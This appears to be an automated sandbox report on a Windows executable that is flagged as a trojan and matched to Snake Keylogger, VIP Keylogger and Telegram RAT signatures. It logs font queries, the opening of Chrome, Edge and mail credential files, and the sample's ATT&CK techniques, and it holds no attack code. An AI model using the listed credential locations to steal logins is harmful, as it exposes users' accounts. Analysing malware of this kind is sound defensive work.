Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbCN4g6sN5.exe PID: 5696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7492, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	13 System Information Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	1 Input Capture	111 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	11 Software Packing	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	1 Input Capture	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
pbCN4g6sN5.exe	71%	ReversingLabs	Win32.Trojan.Leonem
